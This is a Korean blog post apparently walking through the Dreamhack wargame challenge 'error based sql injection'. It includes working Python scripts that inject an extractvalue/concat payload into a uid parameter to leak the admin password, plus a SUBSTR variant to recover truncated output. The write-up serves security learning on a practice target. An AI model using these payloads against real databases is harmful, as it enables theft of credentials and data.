Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 |
Tags
- bee-box
- 웹해킹
- network
- WarGame
- 소프트웨어보안
- webhacking
- ftz
- Web
- 네트워크보안
- 모의해킹
- hacking
- XSS
- 해킹
- 드림핵
- dreamhack
- TCP
- Webhaking
- 시스템
- 소프트웨어
- 네트워크
- 순서도
- CodeEngn
- 시스템해킹
- System
- 웹
- 알고리즘
- 리버싱
- 비박스
- 워게임
- reversing
Archives
- Today
- Total
Without a Break
[Dreamhack] error based sql injection 본문


문제 사이트에 들어가니 위와 같은 페이지가 나왔다.

문제 페이지에서는 사용자가 입력한 uid 값이 위와 같이 텍스트로 출력된다.


'or 1=1-- 코드를 삽입했을 때 syntax 에러가 발생한다.
에러 메세지만을 출력하고 쿼리 결과를 직접 노출하지는 않는다.
error based sql injection의 공격 코드는 extractvalue 함수를 사용하여 작성할 것이다.
extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출하는 함수이다.
from requests import get
url = "http://host3.dreamhack.games:11687/"
query = f"admin' and extractvalue(1, concat(0x3a,(SELECT upw FROM user WHERE uid='admin')));"
r = get(f"{url}/?uid={query}")
print(r.text)
extractvalue 함수를 사용하여 쿼리를 작성하고, 쿼리의 결과를 url에 출력하는 코드를 작성했다.

플래그의 뒷부분이 잘려서 출력되었다.
from requests import get
url = "http://host3.dreamhack.games:11687/"
query = f"admin' and extractvalue(1, concat(0x3a,(SELECT SUBSTR(concat(0x3a, upw),20,30)FROM user WHERE uid='admin')));"
r = get(f"{url}/?uid={query}")
print(r.text)
플래그의 뒷부분을 출력하도록 query를 수정했다.

플래그의 뒷부분이 출력되었다!
'Web > Wargame' 카테고리의 다른 글
| [Dreamhack] XSS Filtering Bypass (0) | 2023.08.25 |
|---|---|
| [Dreamhack] sql injection bypass WAF (0) | 2022.11.24 |
| [Dreamhack] blind sql injection advanced (0) | 2022.11.17 |
| [Dreamhack] funjs (0) | 2022.11.16 |
| [Dreamhack] login-1 (0) | 2022.11.16 |